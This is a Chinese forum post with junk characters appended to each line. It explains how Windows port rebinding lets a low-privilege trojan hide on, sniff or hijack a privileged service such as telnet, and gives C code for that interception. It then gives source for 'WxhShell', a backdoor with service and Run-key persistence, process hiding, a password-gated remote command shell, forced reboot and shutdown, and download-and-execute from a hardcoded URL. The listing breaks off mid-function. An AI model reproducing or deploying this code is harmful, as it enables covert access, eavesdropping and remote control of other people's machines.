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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *(F`NJ 3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z_\p8@3aH  
?1SsF>|  
  saddr.sin_family = AF_INET; "+ou!YK+  
^!&6 =rb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [7FG;}lB-  
F^ 75y?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x?+w8jSR  
#_wq#rF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Go)$LC0Mi  
&3[oM)-V  
  这意味着什么?意味着可以进行如下的攻击: bx8](cT_  
eyCZ[SC  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |1~n<=`Z  
No'?8+i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _{Kmj,q  
o eU i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?dgyi4J?=`  
\!-BR0+y;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FPDTw8" B;  
aixX/se  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YA4D?'  
j<B9$8x&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "?I#!t%'  
a[-!X7,IU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?nd: :O  
ai{>rO3 }I  
  #include )D,KG_7l  
  #include P=QxfX0B  
  #include *VZ|Idp  
  #include    hJb2y`,q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .A2$C|a*  
  int main() fK J-/{|  
  { /<J(\;Jr6  
  WORD wVersionRequested; 6_Fr\H  
  DWORD ret; cMw<3u\  
  WSADATA wsaData; g^'h 4qOa  
  BOOL val; oJ74Mra  
  SOCKADDR_IN saddr; $ Habhw  
  SOCKADDR_IN scaddr; =RQF::[h  
  int err; ;w7mr1  
  SOCKET s; cm< #zu3~S  
  SOCKET sc; Yj/afn(Jt  
  int caddsize; 1)ue-(o5  
  HANDLE mt; :GXF=Df  
  DWORD tid;   7n8nJTU{4j  
  wVersionRequested = MAKEWORD( 2, 2 ); mptFd  
  err = WSAStartup( wVersionRequested, &wsaData ); 2{-29bq  
  if ( err != 0 ) { aSzI5J]/=  
  printf("error!WSAStartup failed!\n"); yqT!A  
  return -1; A~?M`L>B  
  } ^4dE8Ve"@  
  saddr.sin_family = AF_INET; $|N6I  
   ujU,O%.n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X?5{2ulrI  
2}hJe+#v  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f9.?+.^_  
  saddr.sin_port = htons(23); ,>;21\D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fkA+:j~z_  
  { hbw(o  
  printf("error!socket failed!\n"); 6d-\+ t8  
  return -1; 8Zr;n`~  
  } S,#1^S  
  val = TRUE; Q_5 l.M/9]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >>U>'}@Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^/f~\ #R  
  { 2|nm> 4  
  printf("error!setsockopt failed!\n"); po| Ux`u  
  return -1; bJ ~H  
  } 1- 2hh)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @-U\!Tf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VoU8I ~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1[FN: hm  
pgU [di  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }A)\bffH  
  { M(%H  
  ret=GetLastError(); h0{X$&:  
  printf("error!bind failed!\n"); VD;*UkapZx  
  return -1; g`Z=Y7jLH  
  } ~k"+5bHa*  
  listen(s,2); TEtmmp0OD  
  while(1) WtT;y|W  
  { E&M(QX5  
  caddsize = sizeof(scaddr); *dl hRa  
  //接受连接请求 D6"=2XR4n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p.DQ|?  
  if(sc!=INVALID_SOCKET) YQBLbtn6(  
  { PX:#+bq1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $0])%   
  if(mt==NULL) b1&tk~D  
  { }vndt*F   
  printf("Thread Creat Failed!\n"); Cf% qap#  
  break; 7'0Vb !(  
  } 8z=# 0+0  
  } t{md&k4  
  CloseHandle(mt); zl0{lV  
  } 2+1ybOwb  
  closesocket(s); { bj!]j  
  WSACleanup(); RSX27fb4  
  return 0; x#1 Fi$.  
  }   PR:k--)D  
  DWORD WINAPI ClientThread(LPVOID lpParam) JZ5k3#@e  
  { 2]!@)fio`  
  SOCKET ss = (SOCKET)lpParam; O?uICnmi6  
  SOCKET sc; fY<#KM6X  
  unsigned char buf[4096]; Jf YgZ\#  
  SOCKADDR_IN saddr; <BR^Dv07U  
  long num; ' zyw-1  
  DWORD val; /%@;t@BK4  
  DWORD ret; Qqm?%7A1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \!u<)kkyT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6VW *8~~Xy  
  saddr.sin_family = AF_INET; I}C2;[aB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \}Q=q$)  
  saddr.sin_port = htons(23); K_i|cYGV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \ .xS  
  { >0^<<=m  
  printf("error!socket failed!\n"); !~#zd]0x;  
  return -1; c 1YDln  
  } >pq~ &)^u  
  val = 100; j.E=WLKV*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jJ$\WUQ.  
  { 0 R6:3fV6R  
  ret = GetLastError(); Xu$>$D# a  
  return -1; %>+uEjbT  
  } g5V\R*{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R1];P*>%gZ  
  { @MSmg3 &  
  ret = GetLastError(); "\|P6H  
  return -1; 0Lo8pe`DH  
  } QLqtE;;)JK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .}IW!$ dq  
  { ,#Z%0NLe  
  printf("error!socket connect failed!\n"); 4@9Pd &I  
  closesocket(sc); (W}F\P  
  closesocket(ss); @*z"Hi>4  
  return -1; X^\D"fmE.  
  } xf,[F8 2y  
  while(1) !"^Zr]Qt+\  
  { qTJhYxm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -S$F\%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v,w af`)J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M(X _I`\E  
  num = recv(ss,buf,4096,0); B;k'J:-"  
  if(num>0) __=53]jGE  
  send(sc,buf,num,0); ~I|| "$R  
  else if(num==0) )vW'g3u_  
  break; ~[;r) g\  
  num = recv(sc,buf,4096,0); PaCC UF  
  if(num>0) MK1\  
  send(ss,buf,num,0); Oe5rRQ$O  
  else if(num==0) sq|\!T  
  break; $DHE%IN`  
  } t;* zr*  
  closesocket(ss); b A+_/1C  
  closesocket(sc); ~?\U];l  
  return 0 ; [)"\Aq  
  } ~F"S]  
g89@>?Mn  
oU\]#e^  
========================================================== q`xc h[H  
^KhJBM/Z  
下边附上一个代码,,WXhSHELL 3x~7N  
;,77|]<XE  
========================================================== O#)1 zD}  
.W{CJh  
#include "stdafx.h" ~/rD _K  
9pLe8D  
#include <stdio.h> sxT&T=7  
#include <string.h> I=!kPuw  
#include <windows.h> Q.N!b 7r7  
#include <winsock2.h> /a\i  
#include <winsvc.h> 1KZigeHXI  
#include <urlmon.h> ;@Zuet  
S~/2Bw!2  
#pragma comment (lib, "Ws2_32.lib") ;EBKzB  
#pragma comment (lib, "urlmon.lib") Y(UK:LZ'  
G_+/ e]P  
#define MAX_USER   100 // 最大客户端连接数 o;@~uU  
#define BUF_SOCK   200 // sock buffer i^DMnvV.  
#define KEY_BUFF   255 // 输入 buffer m7^f%<l  
J _rrc;F  
#define REBOOT     0   // 重启 &~*](Ma  
#define SHUTDOWN   1   // 关机 ~vXbh(MX  
k'8tcXs  
#define DEF_PORT   5000 // 监听端口 ny KfM5s_  
r^m&<)Ca  
#define REG_LEN     16   // 注册表键长度 0/v]YK.  
#define SVC_LEN     80   // NT服务名长度 gvI!Ice#  
}uma<b  
// 从dll定义API ^6 wWv&G[8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e]VW\ 6J&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h(=<-p @  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~cc }yDe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lp(2"$nQ  
O}i+ 1  
// wxhshell配置信息 N**)8(  
struct WSCFG { /Bt!xSI  
  int ws_port;         // 监听端口 5Npxs&Ea  
  char ws_passstr[REG_LEN]; // 口令 &dtst??  
  int ws_autoins;       // 安装标记, 1=yes 0=no p3vf7eqn  
  char ws_regname[REG_LEN]; // 注册表键名 8&U Mmbgy  
  char ws_svcname[REG_LEN]; // 服务名 Nvd(?+c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *H!BThft4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VpJKH\)Rt(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /0}Z>i K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =mXC,<]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GQYR`;>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i.^ytbH  
<&m50pq  
}; x*H#?.E  
(iq>]-=<  
// default Wxhshell configuration Xqw}O2QQ1  
struct WSCFG wscfg={DEF_PORT, H$Kc~#=  
    "xuhuanlingzhe", nF'YG+;|@  
    1, m\qeYI6,Z  
    "Wxhshell", F `7 v  
    "Wxhshell", nYSe0w  
            "WxhShell Service", ~Ykn|$_"I  
    "Wrsky Windows CmdShell Service", 1(@$bsgu2  
    "Please Input Your Password: ", TVcA%]y{;  
  1, :|n[zjK/S  
  "http://www.wrsky.com/wxhshell.exe", JaUzu3*=  
  "Wxhshell.exe" fJlNxdVr  
    }; b*Y Wd3  
& jqylX  
// 消息定义模块 d Gp7EB`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <yipy[D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (ODwdN7;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P7F"#R0QB  
char *msg_ws_ext="\n\rExit."; KAnV%j  
char *msg_ws_end="\n\rQuit."; opa}z-7>^  
char *msg_ws_boot="\n\rReboot..."; y7hDMQ c'  
char *msg_ws_poff="\n\rShutdown..."; 36{GZDGQ  
char *msg_ws_down="\n\rSave to "; t~(jA9n  
$A?9U}V#^  
char *msg_ws_err="\n\rErr!"; ['o ueOg  
char *msg_ws_ok="\n\rOK!"; \'Ae,q|w  
sex\dg<  
char ExeFile[MAX_PATH]; mcQL>7ts  
int nUser = 0; bVzi^R"  
HANDLE handles[MAX_USER]; ],SQD3~9  
int OsIsNt; ai-s9r'MI?  
^Oi L&p;r  
SERVICE_STATUS       serviceStatus; J- S.m(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Uuy$F  
] :;x,$k  
// 函数声明 ol"|?*3q  
int Install(void); ~Fuq{e9`  
int Uninstall(void); 12lX-~[["  
int DownloadFile(char *sURL, SOCKET wsh); {]+t<  
int Boot(int flag); d#v@NuO6 h  
void HideProc(void); jn5xYKv  
int GetOsVer(void); Ef#LRcG-Z  
int Wxhshell(SOCKET wsl); sm-[=d%@L  
void TalkWithClient(void *cs); 1x|3|snz)  
int CmdShell(SOCKET sock); g$s;;V/8e  
int StartFromService(void); }AS/^E  
int StartWxhshell(LPSTR lpCmdLine); (1'DZ xJ&u  
M,fL(b;2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :rL%,o"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R `tJ7MB  
Y_CVDKdcY  
// 数据结构和表定义 gko=5|c,@  
SERVICE_TABLE_ENTRY DispatchTable[] = 8vVE  
{ '<o3x$6 *  
{wscfg.ws_svcname, NTServiceMain}, 1@v <  
{NULL, NULL} <(KCiM=E$  
}; fLe~X!#HF  
`0NU c)`  
// 自我安装 :dt[ #  
int Install(void) Ow4_0l&  
{ (%fQhQ  
  char svExeFile[MAX_PATH]; =R=V  
  HKEY key; -{0Pq.v  
  strcpy(svExeFile,ExeFile); 2?~nA2+vm  
tQ9%rb  
// 如果是win9x系统,修改注册表设为自启动 4 "2%mx:  
if(!OsIsNt) { Be|! S_Y P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  Gk~aTO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kD#n/R Bgf  
  RegCloseKey(key); st) is4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b23A&1X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P7-k!p"  
  RegCloseKey(key); U(f@zGV  
  return 0; IMWt!#vuY  
    } %!\=$s}g  
  } 4<($ZN8  
} "zcAYg^U  
else { 1x_EAHZ>7  
M Z"V\6T]  
// 如果是NT以上系统,安装为系统服务 fDsT@W,K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1;/SXJ s  
if (schSCManager!=0) 7"Xy8]i{z  
{ ~Fb@E0 }!  
  SC_HANDLE schService = CreateService =CFjG)L  
  ( DoczQc-U+  
  schSCManager, {Z/iYHv~#c  
  wscfg.ws_svcname, b*Qd9  
  wscfg.ws_svcdisp, :Hq%y/  
  SERVICE_ALL_ACCESS, 1#x5 o2n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M1eh4IVE?  
  SERVICE_AUTO_START, "9xJ},:-  
  SERVICE_ERROR_NORMAL, `e ZDG  
  svExeFile, (/uN+   
  NULL, y7pBcyWTE=  
  NULL, a>vxox) %  
  NULL, vT#R>0@mi  
  NULL, &n | <NF  
  NULL "1gIR^S%9  
  ); n*9QSyJN]  
  if (schService!=0) h~Ir= JV  
  { yr+QV:oVA  
  CloseServiceHandle(schService); !!L'{beF  
  CloseServiceHandle(schSCManager); |vd|; " `  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sFZdj0tQ4  
  strcat(svExeFile,wscfg.ws_svcname); QyA^9@iVs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n}Z%-w$K#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0dwD ?GG2  
  RegCloseKey(key); N $>Ml!J  
  return 0; t? &;   
    } D% *ww'mt0  
  } pImq< Z  
  CloseServiceHandle(schSCManager); jk`U7 G*  
} b6S"&hs  
} +mG"m hF  
EQoK\.; G~  
return 1; \=RV?mI3?  
} 0Bgj.?l  
}cUO+)!Y  
// 自我卸载 w:I!{iX  
int Uninstall(void) k3LHLJZ#  
{ ^VzhjKSu  
  HKEY key; ',D%,N}J  
c<Ud[x.  
if(!OsIsNt) { qm9=Ga5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '19?  
  RegDeleteValue(key,wscfg.ws_regname); 5|}u25J  
  RegCloseKey(key); P~&J@8)c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A58P$#)?  
  RegDeleteValue(key,wscfg.ws_regname); :Ez*<;pF'  
  RegCloseKey(key); SgN?[r)  
  return 0; F U L'=Xo  
  } EKuLt*a/  
} 1=X1<@*  
} 4UPxV"H  
else { JCB3 BZg7&  
>%N,F`^3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q&:%/?)x  
if (schSCManager!=0) oZL# *Z(h  
{ WFmW[< g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hoiC J}us  
  if (schService!=0) %5n'+-XVj  
  { ^@Qc!(P  
  if(DeleteService(schService)!=0) { 2PNe~9)*#  
  CloseServiceHandle(schService); s gZlk9x!Q  
  CloseServiceHandle(schSCManager); b`GKGqbJ  
  return 0; s I0:<6W  
  } QM~~b=P,\  
  CloseServiceHandle(schService); cQ`0d3  
  } ra@CouR^c{  
  CloseServiceHandle(schSCManager); & \C1QkI  
} tu ;Pm4q7  
} F0kAQgUv  
SC3_S.  
return 1; 9@nd>B  
} d\c)cgh%  
]1[:fQF7/L  
// 从指定url下载文件 P*ZMbAf.  
int DownloadFile(char *sURL, SOCKET wsh) sQ[N3  
{ 4l> d^L  
  HRESULT hr; fMM%,/b{  
char seps[]= "/"; ^q|W@uG-(  
char *token; d*U<Ww^q  
char *file; |v 1* [(  
char myURL[MAX_PATH]; )tS;gn  
char myFILE[MAX_PATH]; Bob-qCBV  
*l%&/\  
strcpy(myURL,sURL); .Ep&O#  
  token=strtok(myURL,seps); Y%}N@ ,lT  
  while(token!=NULL) I;G(Wj  
  {  &Du S*  
    file=token; Otf{)f  
  token=strtok(NULL,seps); )NqRu+j  
  } i;juwc^n}  
wAL}c(EHO  
GetCurrentDirectory(MAX_PATH,myFILE); *!dA/sid  
strcat(myFILE, "\\"); W|s" ;EAM  
strcat(myFILE, file); pEW~zl  
  send(wsh,myFILE,strlen(myFILE),0); ekmWYQ ~  
send(wsh,"...",3,0); BP\6N%HC%&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Fw}|c  
  if(hr==S_OK) ua ky2SgN  
return 0; N\rL ~4/  
else M0 KU}h  
return 1; ?|\wJrM ]  
NBLjBa%eL  
} ki1j~q  
*D9H3M[o#  
// 系统电源模块 +m/n~-6q  
int Boot(int flag) H(y Gh  
{ o-;/ x)  
  HANDLE hToken; 7;&,L H  
  TOKEN_PRIVILEGES tkp; )%lPKp4]  
$2-_j)+  
  if(OsIsNt) { ovDPnf(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4G XS(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sNP ;  
    tkp.PrivilegeCount = 1; {OOn7=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l(@c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w8 `1'*HG  
if(flag==REBOOT) { >[~7fxjK-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -8<vWe  
  return 0; rUAt`ykTmN  
} I`i"*z  
else { Bvh{|tP4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j['B9vG  
  return 0; GQQp(%T  
} brlbJFZ19  
  } c& bms)Jwa  
  else { .0~uM!3y  
if(flag==REBOOT) { *-{|m1P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )?c,&  
  return 0; x;Slv(|M  
} mVh;=>8K  
else { bX` Gv+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N]6t)Zv  
  return 0;  ,CuWQ'H  
} .aVtd [  
} ItZYOt|Hn  
x}V&v?1{5  
return 1; 3wcF R0f  
} 6]kBG?m0  
a60rJ#GD  
// win9x进程隐藏模块 het<#3Bo  
void HideProc(void) sf# px|~9  
{ `Pc<0*`a  
%~gI+0HK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n;Q8Gg2U  
  if ( hKernel != NULL ) r@bh,U$  
  { Kfr1k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~id:Rh>o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V/kndV[j  
    FreeLibrary(hKernel); eF9GhwE=  
  } ,sL%Ykr  
slUi)@b  
return; /]MelW  
} k+ w Ji  
u *rP 8GuS  
// 获取操作系统版本 ]dI^ S  
int GetOsVer(void) Y0A(- "  
{ zB~ <@  
  OSVERSIONINFO winfo; Jp+'"a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |%mZ|,[  
  GetVersionEx(&winfo); n-yUt72  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =!xX{o?64  
  return 1; LdN[N^n[H  
  else El;"7Qn  
  return 0; {\P%J:s#9  
} # #2'QNN  
EwA*  
// 客户端句柄模块 >7%T%2N  
int Wxhshell(SOCKET wsl) b \ln XN  
{ 'wG1un;t  
  SOCKET wsh; 'xGhMgR;  
  struct sockaddr_in client; !]82$  
  DWORD myID; Y%;X7VxU*  
Ez5t)l-  
  while(nUser<MAX_USER) D5snaGss9a  
{ _#6Q f  
  int nSize=sizeof(client); Opcszq5n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H>%AK''  
  if(wsh==INVALID_SOCKET) return 1; xd ^Pkf  
ng!cK<p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,.>9$(s  
if(handles[nUser]==0) @:GqOTN  
  closesocket(wsh); Babzrt-  
else 8Sj<,+XFq  
  nUser++; jgIG";:Q  
  } 6{=U= *  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sIg TSdk  
A%Ka)UU+n  
  return 0; az0=jou<Zl  
} %bN{FKNN  
hQm=9gS  
// 关闭 socket 8xgBNQdPT  
void CloseIt(SOCKET wsh) xsj ,l@Ey  
{ ~rdS#f&R2  
closesocket(wsh); s)r !3HS  
nUser--; RdWn =;  
ExitThread(0); Y $v#>w_M  
} S W%>8  
[+dCA  
// 客户端请求句柄 &'W7-Z\j-  
void TalkWithClient(void *cs) 1Ys=KA-!_x  
{ lt6wmCe  
9S@x  
  SOCKET wsh=(SOCKET)cs; /g{*px|  
  char pwd[SVC_LEN]; *eIX"&ba  
  char cmd[KEY_BUFF]; RxYENG]/6  
char chr[1]; #C&';HB;y  
int i,j; m 1; Htw  
k4LrUd  
  while (nUser < MAX_USER) { t;w<n"  
#RR;?`,L}  
if(wscfg.ws_passstr) { 0q"4\#4l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q< q IT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,FzkGB#  
  //ZeroMemory(pwd,KEY_BUFF); Az:~|P  
      i=0; ]j>xQm\  
  while(i<SVC_LEN) { + m-88  
azv173XZ  
  // 设置超时 / e>%yq<9B  
  fd_set FdRead; e7;7TrB.  
  struct timeval TimeOut; _dd! nU\A|  
  FD_ZERO(&FdRead); u>lt}0  
  FD_SET(wsh,&FdRead); .J O3#  
  TimeOut.tv_sec=8; ZDmL?mC  
  TimeOut.tv_usec=0; i;^lh]u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }qECpKa0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1<_][u@  
xcW\U^1d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \HLo%]A@M  
  pwd=chr[0]; H^n@9U;[K  
  if(chr[0]==0xd || chr[0]==0xa) { c rb^TuN  
  pwd=0; u:pOP  
  break;  aO<7a 6  
  } Li5&^RAo|J  
  i++; tI{]&dev  
    } JGHj(0j  
uG7]s]Wdz;  
  // 如果是非法用户,关闭 socket K-k!':K:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7zw0 g~+  
} akyMW7'3V<  
w~6UOA8}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s;TB(M~i[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J;_4 3eS  
jXA/G%:[  
while(1) { 5]dlD #  
zG_nx3  
  ZeroMemory(cmd,KEY_BUFF); G7&TMg7i  
ZXb|3|D  
      // 自动支持客户端 telnet标准   {`SMxDevc}  
  j=0; 9DA |;|  
  while(j<KEY_BUFF) { g J |#xZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XF(D%ygeC  
  cmd[j]=chr[0]; D?_K5a&v,  
  if(chr[0]==0xa || chr[0]==0xd) { 5oG~Fc  
  cmd[j]=0; Kc\8GkdB  
  break; bI ;I<Qa  
  } {BJ>x:2  
  j++; u1X^#K$nu'  
    } ;B 8Q,.t>x  
Fqw4XR_`~  
  // 下载文件 ^ l#6Es  
  if(strstr(cmd,"http://")) { 3&})gU&a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ];w}?LFb  
  if(DownloadFile(cmd,wsh)) sA?8i:]O:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iz-z?)%  
  else kV1L.Xg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;'{7wr|9  
  } F62 uDyY  
  else { "Y<;R+z  
6,YoP|@0  
    switch(cmd[0]) { o_Zs0/  
  s\ C ,5  
  // 帮助 1?&|V1vc  
  case '?': { n}a`|Nbk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 129\H< m  
    break; U3&GRY|##  
  } GU> j8.  
  // 安装 7<WUj K|  
  case 'i': { Ee}|!n>  
    if(Install()) #3*cA!V.<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "mBM<rEn*  
    else >s/_B//[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v K{2  
    break; [w<_Wj  
    } h.K"v5I*  
  // 卸载 3r+c&^  
  case 'r': { {g nl6+j  
    if(Uninstall()) C0f%~UMwd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4eB'mPor  
    else GAY?F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i ed 1+H  
    break; 9 RDs`>v  
    } # l9VTzi  
  // 显示 wxhshell 所在路径 !IR cv a  
  case 'p': { W)ug %@)  
    char svExeFile[MAX_PATH]; Y$v d@Q  
    strcpy(svExeFile,"\n\r"); Z]uc *Ed  
      strcat(svExeFile,ExeFile); kkZ}&OXS;  
        send(wsh,svExeFile,strlen(svExeFile),0); xKE=$SV(  
    break; 2fky z  
    } BTwc(oL  
  // 重启 J=Kv-@I>E  
  case 'b': { g8E5"jpXx3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5rLx b  
    if(Boot(REBOOT)) Vq0X:<9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k(RKAFjY  
    else { w!<e#Z]3b  
    closesocket(wsh); v`mB82s  
    ExitThread(0); #akJhy@m$  
    } xkFa  
    break; Q^va +O  
    } iC hIW/H  
  // 关机 c*\i%I#f2  
  case 'd': { %?n=I n(F  
